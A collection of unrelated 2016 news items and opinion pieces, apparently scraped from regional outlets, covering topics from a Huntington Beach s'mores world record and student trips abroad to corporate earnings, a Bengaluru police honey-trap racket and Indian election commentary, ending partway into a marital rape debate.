It was a fun one people could get involved with, said Casson, who noted there are currently 40,000 active Guinness World Record categories.

SeriousFun helps kids with serious illnesses participate in camp, and smores is a memorable part of their experience.

A lot of them miss their childhood, said Mary Beth Powers, CEO of SeriousFun.

As the start of the record attempt neared, nerves were high among organizers wondering if enough people had shown up. Each participant roasted a single marshmallow.

Theres a little nerves. Its coming down to the wire. But were a positive group, were going to do it, said Mackenzie Bruce, spokeswoman for Abercrombie & Fitch, which owns Hollister.

Mimi and Brad Posin, of Huntington Beach, were sitting in beach chairs patiently waiting to eat their smores. The couple come down to the fire pits regularly for date nights, and even have a smores kit at home.

This is a tease, making us wait, Brad said.

When the announcer gave the go-ahead and the 10-second count down started, Mimi jousted her marshmallow into the fire and it immediately went into flames.

I like mine lightly toasted, but we had 10 seconds to do it, she said. Its stressful, its normally not stressful.

For some, being part of a world record attempt was a once-in-a-lifetime experience.

Lets be honest, at our age, its our only chance at getting in that book, said Paul Geaudreau, 52 of Laguna Beach, joined by daughter Renee and friend Flynn Coon, 52, visiting from Arkansas.

The new record is one of several world records for Huntington Beach.

Last year, Visit Huntington Beach set two  one for the largest surfboard, measured at 42 feet long, and one for the most people riding a surfboard, when 66 people stayed on the board and rode it toward shore.

A record for the longest wave ridden by a dog was set in Huntington Beach in 2012 when Abbie Girl, an Australian kelpie, rode 65.62 yards to shore at the Surf City Surf Dogs event.

The greatest distance traveled on a stand-up paddleboard in flat water over 24 hours was set in Huntington Harbour in 2013, when Robyn Benincasa paddled nonstop for 90.7 miles, according to the Guinness World Records website. The greatest distance in a kayak was set by Carter Johnson, who went 155.24 miles in Huntington Harbour in 2013.

Contact the writer: lconnelly@ocregister.com
Some Senate Democrats are calling on Bernie Sanders to strike a more civil, unifying tone now that his 16-point loss to Hillary Clinton in this weeks New York presidential primary has made it almost certain that she will be the partys 2016 nominee.

The sharp rhetoric at the candidates April 14 Brooklyn debate  when Sanders criticized Clintons judgment  is only counterproductive at this point, some of his Senate colleagues say. Sen. Dick Durbin of Illinois, the No. 2 Democratic leader, said hes counting on Sanders to help bring party members together at the Philadelphia convention in July.

Bernie Sanders has earned a place and a voice at the convention, and I think hes going to have an important role in helping us to unify our party and stand behind Hillary Clinton, who is in my mind clearly on her way to being the nominee, said Durbin, who is backing Clinton.

Sen. Robert Menendez, a New Jersey Democrat, said he thought Sanders tone was constructive early in the campaign. During a debate in October, Sanders got applause at a debate when he said Americans were sick and tired of hearing criticism over Clintons use of a personal e-mail account while secretary of state.

More recently, Menendez said, I think the tone has gotten increasingly negative in a way that goes to a personal context that attacks Secretary Clintons honesty and integrity. That doesnt help for someone who wants to see Democrats win, he said.

Common Ground

Its time for Sanders to start stressing areas of common ground with the former secretary of state, said Senator Edward Markey, a Massachusetts Democrat.

Im not going to tell him to get out of the race, but I think its important for him to ensure that discussion reflects the fundamental agreement that he has with Hillary on almost every one of the big issues, Markey said.

Support for Clinton, who was a New York senator for eight years, runs deep in the chamber where she is backed by more than three dozen Senate Democrats, including all of the top party leaders. Sanders, serving his second term as a senator from Vermont, has been endorsed by only one colleague, Jeff Merkley of Oregon. Republicans control the Senate 54-46, though if Clinton can gather enough support in November she could provide coattails to help sweep her party back into power.

In last weeks Democratic debate, Clinton and Sanders angrily interrupted each other as they argued over the minimum wage, breaking up big banks and who is qualified to occupy the Oval Office. Sanders called Clintons judgment into question, pointing to her votes in favor of the Iraq war and some trade deals, along with her willingness to accept money from super-political action committees that raised heavily from Wall Street and other corporate interests.

I dont believe that is the kind of judgment we need to be the kind of president we need, Sanders said.

Blunted Momentum

Clintons New York victory blunted earlier momentum for Sanders, who had won seven of the previous eight state nominating contests. She now has 1,930 delegates to his 1,189, according to RealClearPolitics.com, with 2,382 needed to win the nomination. Shes also favored by polls to win April 26 contests in Pennsylvania, Maryland and Connecticut. Delaware and Rhode island also are holding primaries.

Democrats arent calling on Sanders to get out  at least not yet  but theyre coming close.

I was a math major in college, said Senator Tammy Baldwin of Wisconsin, a Clinton backer. I understand the fact that were approaching something that would be near impossible to overcome, and just hope that thats weighed as well as the unity of the party.

Sen. Chris Coons, a Delaware Democrat who also endorsed Clinton, said next weeks primary contests are a critical juncture for the Sanders campaign.

Constructive Future

Its my hope that after next Tuesdays contests that he will seriously evaluate how he can best be a part of a constructive future for the Democratic Party, Coons said. He also praised Sanders for firing up the partys base and contributing serious ideas that Coons said will be folded into the Democratic platform.

Sanders needs to back off on his accusations that Clinton is too much in the pocket of banks and corporations because she benefits from donations to her campaign or to super-PACs that support her, said Senator Tim Kaine of Virginia, a Clinton supporter.

Those claims are over the top because Clinton is complying with the law, and because both candidates agree they want to correct what they see as problems with the campaign finance system, Kaine said.

Until we change the system, to personally fault somebody for not unilaterally disarming seems very disingenuous to me, Kaine said. At this point, the question is how much of her resources do you want her to have to waste that she could be using for the general election. And thats an important thing that they ought to consider.
Months before their trip to Rome, Mater Dei High School choral and instrumental students knew their trip would include performances in several venues throughout the small Italian city of Artimino. They also knew about a performance of Vivaldis Gloria in concert with a local Italian orchestra. They even expected a performance for Easter Monday Mass at St. Peters Basilica. But it wasnt until a week before the trip that the group was granted permission to perform a private concert in the Sistine Chapel.

Looking back, the students described this special opportunity as the cherry on top of an already outstanding musical education experience.

I get chills just thinking about it, said junior Annie Flati. My whole mind and body were into the music, and I realized everyone around me was on the same wavelength as me. The experience was indescribable really.

Over 10 days, more than 180 Mater Dei students from choir, the handbell ensemble and the instrumental chamber ensemble performed in various venues across Italy in formal concerts as well as impromptu street performances.

We randomly sang Happy Birthday to a German tourist one day, said junior Cassidy Sledge. It was great to feel united with everyone from Mater Dei and not be afraid to push out of our comfort zone.

Through the tour, the students said, they learned a lot about world cultures and religious history, which helped them connect with material they were learning back home.

I found myself contextualizing a lot of things I read about in class, said senior Jordan Kessler. These places are not just on a piece of paper in a book. It was relevant, especially since Ive taken Latin for six years, so this was like an educational pilgrimage for me.

This exposure held great importance for Mater Dei choir director Justin Miller. We wanted the students to experience culture in general, he said. Not only musical culture, but how different countries behave. Its important to expand the kids minds in that way

And while the cultural experience might have been an overarching benefit of the trip, there was no denying the incomparable feeling of seeing their songs bring people to tears or hearing their voices echo in the remarkable acoustics of the Sistine Chapel.

My biggest takeaway is that art is transcendent, said junior McCallister Selva. It goes beyond who you are as a person, and being in another country makes you realize that youre so small, but the world is so huge.
When the 1994 Northridge earthquake hit, roads and bridges were closed.

Van Nuys airport, closed. Burbank airport, closed. Where are you going to get assistance and how are you going to provide it? said Chief Warrant Officer for the National Guard Tom Murphy. Well, the answer is right here.

The Los Alamitos Army Airfield served as a hub during the disaster, with a tent city of emergency personnel ready to be deployed via helicopter to put the San Fernando Valley back together again, Murphy said Thursday.

This week, local, federal and state agencies met at the base, the only federal airway in the region, for an exercise called Operation Patriot Hook to prepare for joint efforts in major regional disasters such as fires, floods, riots and major earthquakes  like the one more than 22 years ago.

Its the 29th year for the annual exercise, coordinated by the Air Force Reserve at Los Alamitos Joint Forces Training Base, to help agencies work together more efficiently.

For the majority of the exercise, agencies determined how theyd load people and cargo into Air Force cargo planes  like a C-5M Super Galaxy or a C-17A Globemaster III. It was important to load the planes properly to ensure there would be no glitches in a real disaster.

The planes can carry multiple vehicles, hundreds of boxes or hundreds of soldiers.

Dan Gordon, an arson investigator with the Los Angeles County Fire Department, was there for the practice mission with his unit. Not only does his department aid with regional and national disasters, but it is one of only two agencies in the country deployed by the federal government on international missions.

Gordon, a logistics manager on those missions, went to Haiti six years ago.

After getting a call to get equipment and personnel together, his firefighters made their way to March Air Reserve Base in Riverside County, where they spent a couple hours having their equipment and supplies rigorously checked by the Air Force.

Then, already awake for more than 24 hours, the firefighters sat shoulder to shoulder, knee to knee in the cargo plane, flying six hours to the site of the devastating magnitude 7.0 quake. They spent three weeks there doing search and rescue work.

Gordon said the exercise at the Los Alamitos base is a rare opportunity to simulate missions, such as loading fire vehicles on a plane. Last year, they even flew the vehicles and firefighters down to San Diego in a test run.

(It) gives us an opportunity to show the new guys. If they ever have to do it on the spot, its a little more stress when youre getting out the door, Gordon said. Here we have a little time to correct our mistakes.

The U.S. Department of Homeland Securitys Rapid Response Team has participated for a couple years as well. The team is primarily search and rescue with tactical medical response, such as providing aid in Houston to victims of this weeks floods.

This gives my team basically global capability. We can fly our team  our vehicles anywhere in the world that we need, Rapid Response Team Commander John R. Reynolds said.

Contact the writer: jclay@ocregister.com or 714-796-6910
Sixteen students from Santa Margarita Catholic High Schools International Baccalaureate theater class arrived March 10 in Terezin, a city one hour outside Prague in the Czech Republic. There, they joined theater students from several other countries at the International School Theatre Association Festival for a three-day project that explored themes of hope and joy in a place with lingering memories of a painful past.

During World War II, Terezin was used by the Nazis as an internment camp for those destined for Auschwitz. Many of the thousands held at Terezin were involved in the arts as philosophers, painters, musicians, etc., and because of this, the camp was used to create false propaganda touting the rich cultural life offered to captives of the Third Reich.

While in the Czech Republic, the students viewed museums and memorials they said helped them understand the atrocities of the war more deeply. Several cited their trip to Pinkas Synagogue, where nearly 80,000 names of Holocaust victims are inscribed on the walls, as the most eye-opening moment of the journey.

This was hands down the most powerful thing Ive ever witnessed in my entire life, said senior Trevor Perreira. We can never forget (this moment in history) because we cant let anything like this happen ever again.

Representatives from the theater association hoped that holding a festival in a place of such historic importance would inspire the visiting artists and help them become more internationally minded as they took part in acting exercises that directly corresponded with stories about Terezin.

One exercise involved a group of students portraying members of a music ensemble. One by one, they dropped to the floor, symbolizing those who had died or were transported to another concentration camp. As students left the group, others took their spots and continued the singing as a way of demonstrating the resilience of art in Terezin.

In terms of dealing with tragic events, I started to learn how its important not to focus on the events that you cant change, but instead take what youre given and move forward with it, said junior Gabby Romero, who recalled the way the Terezin inhabitants created their art secretly and hid it underground and in the walls. Working with history was cool because we can take ideas from the past and adapt it for today, Romero said.

The students say engaging with key moments in history such as the events at Terezin will help them better understand how to approach future roles in theater and in life.

We know a lot of horrible things happened, but through the art in Terezin we also now see a lot of beauty that came out of it, said junior Sabrina Boyd. Being here gives us a specific feeling that we can use when were trying to tell the stories of people who had a tremendous amount of courage and hope in extreme circumstances.

Contact the writer: kwright@ocregister.com
ANAHEIM  Roosevelt Elementary School students dug in and planted several trees Wednesday at Boysen Park.

Lending a hand were several Disney employees, known as VoluntEARS, along with staff from the citys parks department.

The 13 trees planted at Boysen Park were part of a donation of 60 made by the Disneyland Resort in honor of Earth Week and spread across several parks.

There were three types of trees  Camphors, Eastern Redbuds and Pink Trumpets  planted at Boysen, according to Rhonda Wood, a part of the resorts horticulture department.

The Pink Trumpet Tree should look familiar to anyone who visits Disneyland, that is the tree that sprouts pink flowers and is around the Partners Statue in the Central Plaza, she said.

The tree is native to Central and South America and will take about a year to get an established root system, she said. They can grow as tall as 90 feet.

Robert Gomes, a superintendent with the citys park department, said the trees layout was carefully planned. We look at the available space and the future shade theyll create for visitors to the park.

Contact the writer: meades@ocregister.com
An overprotective uncle, a spunky grocery apprentice and an inventive clerk make Huntington Beach Academy for the Performing Arts production of the farce On the Razzle absorbing and filled with energy.

The comedy tells the tale of Herr Zangler, owner of an upscale grocery store in early 1900s Austria. His chief clerk, Weinberl, and apprentice, Christopher, disappear to Vienna during Zanglers absence, and chaos ensues.

Jacob Menke as Weinberl provides immediate comedy as he paces across the stage, nervously jumping from thought to thought and rambling on when he is uncomfortable. Kate Napoli as Frau Fischer, the woman he claims is his wife, transitions from guarded to open as the play progresses, adding believability to the outlandish story.

Zangler, played by Grant Rincon, commands the stage with a booming voice and an intimidating stature from the start. His authority is contrasted by Christopher, played by Andy Jacobson, who spends his time leaping about and impersonating character after character, showcasing his youth and energy.

Sam Johnson as Zanglers assistant, Melchoir, adds to the comedy with his dedication to the upper class, obeying Zanglers every command and carrying himself like a prince rather than a servant. Cassie Kirkconnell as Miss Blumenblatt, Zanglers sister-in-law, keeps the play grounded with her careful, deliberate actions, distinguishing her from the more ridiculous characters.

The production is made even more entertaining by Zangler and Miss Blumenblatts servants, Gertrud and Lisette. Emma Baltadano as Gertrud attempts to keep her sanity while dealing with Zanglers unpredictable antics and short temper. Rachel Fishbough as Lisette uses her French accent to give her character a backstory and humor.

The ensemble displays skill when the story moves to an Italian restaurant in Vienna. The main characters shenanigans constantly startle the waiters of the restaurant, who toss serving trays high into the air and catch them each time without error.

The stage crew (Bradon OConnell, Gavin Shobe, Connor Batte and Andro Vissani) also keeps the play flowing with polished scene changes and no mishaps.

The costumes, designed by Gianna Francisco and Reanne Wang, clearly set the time period and setting, making the wild play easy to follow. The set, designed beautifully by Isabella DiLauro, makes the scenes cohesive and the scene changes quick. The actors use of the large set pieces unites Huntington Beachs production into a single triumph.

Claire Pritchard is a senior at Fountain Valley High School in Fountain Valley.
Swedish designer Mikael Kjellman has created a unique vehicle that looks like a tiny car, but has the internal workings of an electric bicycle. He calls it the PodRide bicycle car.

I really like to bike, but where I live in Sweden, the weather is not always very bicycle-friendly, Mikael explained. So I designed and built a four-wheeled bike with full fabric body to keep dry and warm in all weathers. I have driven it to work every day for a year now and it has proven to be a very practical and comfortable little vehicle.

The bicycle car has several advantages over a traditional electric bicycle  it comes with a waterproof body, heated windscreen, soft seat with back support, studded tires for snowy roads, and air suspension. It also has some trunk space in the back, as well as functional headlights and a tow bar in case someone wants to add a bike trailer.

To be honest, the 70-kg, 145-cm high PodRide isnt the best looking vehicle. According to Auto Evolution, it looks more like a runaway stroller than a vehicle driven by an adult, a description I would have to agree with. But theres no denying that its cheap to use, environmentally friendly, and supposedly also fun to drive. The 250-watt electric motor provides enough power for up to 60 kilometers on a single battery charge, at a speed of up 25 km per hour, which is amazing for an urban vehicle.

The big question is do you need a drivers license to use PodRide? Mikael says it is legal to drive without a license in Sweden, but other countries have their own rules. In the UK, for example, the rules for electrically assisted pedal cycles (EAPCs) state that the motor shouldnt havle to propel the more than 200 watts of power and shouldnt be able to propel the vehicle at speeds of over 15.5 miles per hour. PodRides stats are at the upper limits, but I guess it would still be approved as an EAPC. But its the 4 wheels that might be problematic as the rules state that such vehicles can be 2-wheeled bicycles, tandems or tricycles.

The Swedish engineer is currently running an Indiegogo campaign, where hes already surpassed his initial goal of $30,000. With these funds he wants to develop a kit based on his prototype, intended for home builders and small pro builders. This campaign is designed to raise money, but the long term goal is to promote bicycle cars, he said. So it is equally important to spread the word, show your friends love, share online, talk to your local politicians and traffic planners show that this kind of vehicles exist and work.

If he manages to raise over $100,000, Mikael intends to start selling DIY PodRide kits that can be assembled like IKEA furniture.

Photos: Mikael Kjellman
A pop up restaurant in London is making waves nearly two months before its grand opening, thanks to its controversial clothing optional policy. The Bunyadi, which all set to open in June for three months, will have two separate clothed and unclothed sections for patrons to choose from.

The idea is to experience true liberation, said Seb Lyall, founder of Lollipop, the company behind the venture. People should get the chance to enjoy and experience a night out without any impurities: no chemicals, no artificial colors, no electricity, no gas, no phone, and even no clothes if they wish to. We have worked very hard to design a space where everything patrons interact with is bare and naked. And of course, the staff will be in the nude as well, with certain body parts strategically covered up.

The unconventional dining concept has proved so popular that over 15,000 people have already signed up to be on the waiting list through the restaurants website.

The restaurant will embrace all things natural, with the menu featuring dishes made only with natural, home-grown ingredients and cooking methods. Food will be served on handmade clay platters, along with edible cutlery. Even the decor will follow a natural theme, with earthy, wooden furniture, bamboo and wicker partitions, and natural lighting. The use of natural bamboo partitions and candlelight has enabled us to make the restaurant discreet, whilst adhering to the ethos behind it, Lyall explained. No doubt, this has been the most challenging project for us yet, which makes us very excited about it.

The entry tickets, expected to cost between 55 and 65 per person, will include food and drinks from a tasting menu. Diners will also have access to changing rooms and lockers where they can keep their clothes and other belongings. Gowns will be provided for those who wish to remain clothed. Cameras, of course, arent allowed inside the restaurant.

If youre interested in this unique dining experience, you can sign up on The Bunyadi website for free to get notified when tickets go on sale.
Over 5,300 was raised by Tesco stores across Offaly last Friday, 15th in support of Temple Streets Great Irish Bake.

By Damian Moran

e-mail: damian@offalyexpress.ie

Twitter: @offaly_express

Between 11am  6pm, Tesco colleagues and customers baked, bought, ate and sold an abundance of culinary creations to help raise some much-needed dough for the childrens hospital.

All 148 stores countrywide took part to host Irelands Largest Bake Sale and together raised over 155,000 in just seven hours. All of the money raised in stores will be used to buy Pump Systems for the wards at Temple Street which make giving fluids and medicine to patients that little bit easier. These pumps will be used by most of the 150,000 little heroes who visit Temple Street every year.

Denise Fitzgerald, CEO of Fundraising for Temple Street: This years Great Irish Bake in Tesco stores was a massive success with an incredible 150,000 raised to benefit our little patients. We were completely blown away by the effort, enthusiasm and creativity of Tesco staff at their cake sales all over the country. The money raised will go directly where it is needed most; to buy essential medical equipment that is needed to keep our patients comfortable and pain free. From our doctors, nurses and from our little patients and their families; wed like to say thank you to everyone at Tesco for their on-going dedication and commitment to Temple Street.

Temple Street Childrens Hospital operates the busiest A&E department in Europe. For thousands of children, Temple Street is the only hospital in Ireland where they can be treated and through the charity partnership with Tesco, colleagues and customers can be real life heroes to little patients from all over Ireland. This years Great Irish Bake brings Tescos fundraising total for Temple Street to over 1.6million since launching in October 2014.
Students of The Academy of Music Tullamore have once again collected a plethora of silverware from this years Sligo Feis Ceoil which was held over the recent Easter holidays.

By Damian Moran

e-mail: damian@offalyexpress.ie

Twitter: @offaly_expres

In its 112 year illustrious history, Sligo Feis Ceoil has welcomed and rewarded the finest musicians, artists and thespians from the length and breadth of Ireland. Boasting a wide range of categories, often with 20-25 participants per competition, Sligo Feis Ceoil is a renowned platform for budding artists and established talent to compete against like- minded and gifted individuals.

For the past number of years The Academy of Music Tullamore has done remarkably well, with their hardworking students greatly impressing a team of vastly experienced adjudicators.

This year was certainly no exception with the following students joining a long list of prominent winners.

The Academy scooped an astounding 4 first place positions and a further 11 students getting 2nd and 3rd positions in Flute, Cello, Violin, Piano and Singing

Junior Flute Solo  Abbie Keyes  1st place

Junior Cello Solo  Lucy Fennely  1st Place

Senior Singing Italian Cup  Laura Slattery  1st Place

Senior Singing Moores Melodies Cup  Laura Slattery  1st Place

Junior Piano Solo  Jennifer Dillon  2nd place

Junior Cello U16  Lucy Fennely - 2nd Place

Junior Singing U16 any song  Aoife Digan - 2nd Place

Junior Singing Song from a Musical  Aoife Digan - 2nd Place

Senior Singing Opera Cup  Laura Slattery  2nd Place

Senior Singing Sligo Feis Ceoil Cup  Laura Slattery  2nd Place

Junior Singing Duet Cup  Sophia Shiel and Lucy Fennely  2nd Place

Junior Flute Solo  Joshua Guinan  3rd place

Junior Violin Solo  Jennifer Dillon  3rd place

Junior Singing Solo  Vlad Spirkin  3rd place

This is a marvelous achievement for each and every participant and a clear reflection of their dedication and hours of practicing.

As The Academy of Music Tullamore approaches its end of year examinations this is already proving to be a fruitful year for the Academy as it continues to nurture and foster the ever growing talent of midland musicians.
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10 and older:

"The Jungle Book": A dazzling piece of technical filmmaking, this new take on Rudyard Kipling's books has less success with its stark shifts in tone. Some bits are so visually intense, because of the blend of 3-D animation, live-action and motion-capture, that one cannot really recommend the movie for kids younger than 10. Yet other moments deep in the middle of the film lighten into a cheerful nod to the comic and musical gems of Disney's 1967 animated version. With the voices of Bill Murray as Baloo the carefree bear and Christopher Walken as King Louie, the menacing ape, we hear snatches of "The Bare Necessities" and "I Wanna Be Like You." But poor little Mowgli (Neel Sethi)  the orphaned human "man cub" rescued by the panther Bagheera (Ben Kingsley) and raised by a loving wolf mother, Raksha (Lupita Nyong'o)  has a tough time of it. A vengeful tiger, Shere Khan (Idris Elba), has a grudge against the boy and aims to kill him, first dispatching his adoptive wolf father, Akela. Bagheera sees that Mowgli, for all his human cleverness, will only be safe in the man village. But trying to get him there proves a perilous journey, fighting off Shere Khan, a hungry python, King Louie and his monkey army, and the distractions of lazing down the river with Baloo. (105 minutes)

THE BOTTOM LINE: Parents will need to decide what their own children can handle, whether in 3-D or not  perhaps by pre-screening the film. When the tiger Shere Khan or the python Kaa  who both want to kill and/or eat Mowgli  go after the little boy, the encounters are quite scary. Mowgli survives in triumph, but it's a rough go.

_____

PG-13:

"The Huntsman: Winter's War": The tortuous plot of this prequel/sequel, even for fans familiar with "Snow White and the Huntsman," will prove quite a tangle, but the movie is a visual feast. And its A-list actors add emotional and verbal heft. They make that plot tangle feel both magical and real. The film's violent battles, although largely bloodless, render it an iffy choice for preteens and even some middle-schoolers, as does its crude humor and sexual innuendo. A narrator intones, "Long before 'happily ever after,' " as things get underway. Ravenna (Charlize Theron), that villainous queen with the magical mirror, arranges the fiery death of an infant (only implied), the love child of her sweet younger sister, Freya (Emily Blunt). Embittered, Freya turns cold and founds a kingdom with her own icy powers. She enslaves children to become her warriors. This takes place before the events of the first film, in which Eric the Huntsman (Chris Hemsworth) saved Snow White from Ravenna. Eric is one of the children Freya enslaves. He trains alongside Sara (Jessica Chastain). As adults, they are lovers, which is forbidden. Freya separates them violently and seemingly forever. The film then jumps seven years ahead - leaping over the Snow White story - and puts the Huntsman on a quest to find the missing mirror that Ravenna used for evil. With comically bickering dwarfs, he braves the wrath of Ravenna and Freya. (114 minutes)

THE BOTTOM LINE: Battle scenes are harsh, with swords, sticks and axes implying lethal impalements, though no gore is shown. Magical characters bleed tar. The protagonists pass through battlefields with the bodies of soldiers and horses, and occasionally, skeletons. Eric and Sara have two non-graphic love-making scenes with subtly implied nudity. There is one use of the B-word, and some fairly crude sexual innuendo.

"Sing Street": A charming, slightly edgy coming-of-age story, "Sing Street" ought to appeal to high school-age fans of rock 'n' roll history and of stories about young people who take charge of their own lives when adults fail them. The dialogue and story may be a little salty for middle-schoolers. In Dublin, circa 1985, a 15-year-old named Conor (terrific Ferdia Walsh-Peelo) is a bright, ironic kid whose family is disintegrating. His parents argue so loudly that he incorporates their insults into songs he improvises on his guitar. Money troubles force Conor to transfer into a cheaper school, Sing Street, that's chaotic and full of bullies. He immediately gets on the bad side of the head priest. Befriended by a short kid with braces (a teen-movie trope, for sure), Conor leaps at a chance to make life interesting: He approaches Raphina (Lucy Boynton), a pretty high school drop-out, and invites her to be in his band's music video. Except he doesn't have a band. He finds a composer for his lyrics and recruits other players. Unbelievably soon - this is writer/director John Carney's wishful fantasy about his youth - their band sounds great, and Conor's life changes. All for the girl he loves. (106 minutes)

THE BOTTOM LINE: The dialogue gets pretty rude, with one joke about priests raping students, rare racist and homophobic slurs and rare uses of the F-word and S-word.

***

Jane Horwitz has been reviewing movies for Washington-area media outlets including The Washington Post and WETA public television since 1988. The Family Filmgoer column offers weekly movie reviews with a focus on family, an invaluable tool for parents planning trips to the theater.
SAN FRANCISCO  In a sign that Microsoft is still finding its way in the post-PC era, the tech giant reported a surprise drop in quarterly sales and profit.

Wall Street was expecting the company to show positive results from a series of changes that CEO Satya Nadella has been making in Microsofts business. Instead, revenue for the January-March quarter fell 6 percent to $20.5 billion, while profit plunged 25 percent to $3.76 billion.

While sales of personal computers have been sliding for the last four years, Nadella has been working to make Microsoft less dependent on revenue from its flagship Windows operating system, used mostly on PCs.

Microsoft said its revenue from Windows software licenses declined 2 percent in the March quarter, after adjusting for currency fluctuations. Thats better than the overall drop in PC shipments, which analysts at the Gartner research firm estimated at nearly 10 percent.

But revenue from business software and Internet-based services, known as cloud computing, didnt grow as much as many analysts expected.

General Motors

DETROIT  General Motors first-quarter profit more than doubled as all of its business units posted improved numbers including record pretax earnings in North America.

The Detroit automaker earned $1.95 billion, or $1.24 per share, even after a $500 million cash investment in ride-sharing company Lyft.

After paying $60 million to settle stockholder lawsuits over an ignition-switch debacle, GM earned $1.26 per share. That soundly beat Wall Street forecasts.

The company also paid $300 million in restructuring costs, mainly for union worker early retirement buyouts in the U.S.

Chief Financial Officer Chuck Stevens said theres a lot of negative sentiment on the auto industry from investors. He pledged to continue to post strong numbers and investing in future technologies such as ride-sharing and autonomous vehicles. The share price will reflect that over time, he said.

Starbucks

NEW YORK  Starbucks said its profit rose 16 percent during the first three months of the year, helped by positive sales around the world.

Still, the sales growth fell short of Wall Streets expectations.

The Seattle-based coffee chain said global comparable sales rose 6 percent for the period ended March 27. That reflected a 7 percent increase in its flagship U.S. market, where the company has been trying to sign up more people for its mobile app and push food like breakfast sandwiches and salad boxes.

For the first time, Starbucks Chief Operating Officer Kevin Johnson said food accounted for more than 20 percent of sales in the U.S.

Southwest Airlines

DALLAS  Southwest Airlines packed even more people on its planes, notched a record first-quarter profit of $511 million and said solid bookings have continued into April.

The Dallas carrier topped Wall Street expectations.

Southwest has been adding flights and bigger planes, bucking industry concern that such growth is leading to lower prices. Indeed, Southwests average fare dipped 3 percent to $153.75 each way.

Passenger traffic grew faster than Southwest added seats, however, and 80.5 percent of seats were filled on the average flight, a Southwest record for the first quarter in what is typically a weak time of year for travel.

CEO Gary Kelly said the solid bookings and revenue trends continued in April and he predicted modest growth in operating revenue for every mile passengers fly in the second quarter.

Verizon Communications

NEW YORK  Verizon Communications Inc. on Thursday reported a 2.2 percent rise in its first-quarter profit, matching Wall Street expectations as the company dealt with seasonally low volume.

The results come as the company deals with a strike by 39,000 landline and cable employees along the East Coast.

The largest U.S. cellphone carrier reported a profit of $4.31 billion, or $1.06 per share, matching analysts estimates.

The company said it added 640,000 wireless customers during the quarter, marking seasonally low volume. Customer retention remained high, the company said, with retail churn at just under 1 percent.
Policing the police in Bengaluru- Cops running honey trap racket busted

Bengaluru

oi-Vicky

Bengaluru, April 22: Policing the police. This is what one can say about a case busted by the Bengaluru police in which three constables were found to be posing as sleuths of the CCB and running a honey trap racket.

The incident was quite embarrassing for the police which led the Additional Commissioner of Police, West Bengaluru city to say, "policing the police, unpleasant but necessary.

The constables who have been arrested are Basavaraj Mathapathi, Mohammad Ilyas Vijaya Kumar. A lady in the age group of 25 too has been arrested for allegedly helping the constables lure victims into their fold.

Modus operandi:

All the three constables used to honey trap people and then blackmail them. The lady deployed by them would call up businessmen or realtors and invite them over to the apartment where a camera would be hidden.

The three constables then posing as officers of the City Crime Branch would raid the apartment and catch them in a compromising position.

Later they would tell the person that they would file cases and also leak the video if they did not cough up money. The lady Yasmeen would invite these unsuspecting persons to her apartment at Kodigehalli.

The case came to light following a complaint given by one Venkatappa a realtor. He was called by this woman to the apartment on the pretext of discussing a land deal.

He agreed to go after several attempts made by the lady. A while after he arrived at the apartment, the constables conducted a raid. He was threatened and ordered to pay up Rs 2 lakh.

He had given them an advance of Rs 25,000. He was also forced to part with a post dated cheque for the remaining sum. However the constables later told him that they did not want his cheque and he should pay them in cash instead. They even gave him a date.

Busted:

Venkatappa however found something fishy in this entire incident. He spoke with a friend of his who happened to be a traffic inspector. He was advised to file a complaint with the jurisdictional police. The case was handed over to the CCB for investigations.

The CCB told Venkatappa to go through with the deal. He left his home to pay the remaining money to the trio. As he was doing that the CCB team swooped in and arrested the trio. Investigations have revealed that the racket was being run for the past two years. The CCB is in the process of identifying the other victims in this case.

OneIndia News
Bengal polls: BJP's same anti-Mamata speeches are tiring; what's its vision for the state?

Feature

oi-Shubham

By Shubham

The BJP is trying its best to reap some benefit in West Bengal's chaotic election which is underway. Besides Prime Minister Narendra Modi, other top leaders of the party are arriving in the state as paratroopers and launching attack on the ruling Trinamool Congress (TMC) of Mamata Banerjee.

Assembly Polls 2016 Full Coverage; 79.22% turnout in Bengal poll Phase 3

BJP leaders saying same thing almost at every rally

All the saffron party leaders, including Modi, are repeating the same content at all venues. Most of the time, they are accusing Mamata Banerjee for changing herself and not the state and turning blind eyes to her party leaders' alleged indulgence in corruption. [4 reasons why BJP will not want Mamata to lose]

While the central leaders like Modi, Rajnath Singh, Sushma Swaraj and Babul Supriyo are using the same vocabulary against the TMC supremo, the local BJP leaders are mostly found busy running shows on Narada sting operation at the party headquarters. The lesser ones are then seen lambasting the 'ill-deeds' of the Mamata Banerjee government in television studios.

Does BJP have anything fresh to offer to Bengal? We are eager to know

But is that all the BJP has to offer to the people of Bengal in this election? Modi's cleverly crafted words sound very fitting in urban centres like Kolkata where remarks like "People are leaving behind their aged parents for jobs elsewhere" or "East India has remained backward" are bound to hit the right chords. [Is the long duration of Assembly election 2016 hurting Mamata?]

But in the distant parts, what does the urban-centric outfit led by Modi has to offer? How much credibility does the BJP aspire to gain by just blaming Mamata Banerjee and ideological and political opponents like the Left and Congress, respectively? The people of Bengal are over-informed now about the corruption charges against a number of TMC leaders, thanks to other anti-Mamata forces and a hostile media, and they need to know more than what better alternative does the BJP offer them? [Is BJP interested in Bengal Assembly election at all?]

Elections today are only about negative verdict; but even Modi will adopt the same strategy?

Elections in these parts have become more about a negative verdict as people press buttons to get rid of one inefficient regime to bring in another. In this ambience of negativity, it is disappointing to see the prime minister of the country, who had promised "Acche Din" ahead of the 2014 general elections, is also living on stories that spark little hope. We all know Mamata Banerjee has failed West Bengal and the state which had once led in various fields, is a backbencher now. But what is the BJP's vision to give Bengal a push forward?

In Bihar too, Modi only attacked Nitish and Lalu but we know ultimately what happened

Modi must be remembering that six months ago, the only-attack strategy adopted against Nitish Kumar and Lalu Prasad in Bihar backfired as his ridiculing the state leaders did not make any impact. His declaration for massive financial aid for the state also didn't work out. This time, even that is not seen. Modi and his party leaders are just paying visits to poll-bound venues and making either political statements or wooing local sentiments. What about the real issues?

BJP has no organisational strength in Bengal while its leadership is making boring speeches

The BJP should keep in mind that its choice of candidates is not much different from the TMC as both have picked a number of celebrity candidates. While the TMC has done it to bridge factional feuds, the BJP did it to make up for the shortage of faces. The onus, therefore, lies with Modi to give a positive direction to the struggling electorate in Bengal and not just replaying the same old record of 39 years of misrule.
In marital rape case, here is what the two judges of the Delhi HC said

Debate: Should marital rape be criminalised?

Feature

oi-Pallavi

By Pallavi

Marital Rape' is even more brutal than 'rape' since the woman cannot complaint. And this is precisely why, it has become a norm these days. Marriage is often being treated as a license of sexual coersion, whether a woman is ready for it or not.

A debate has raked up in the Parliament for quite some time now, discussing the necessity of making it a criminal offence. True, there are millions of cases where the woman is a victim, but there are millions more where the man too is a victim.

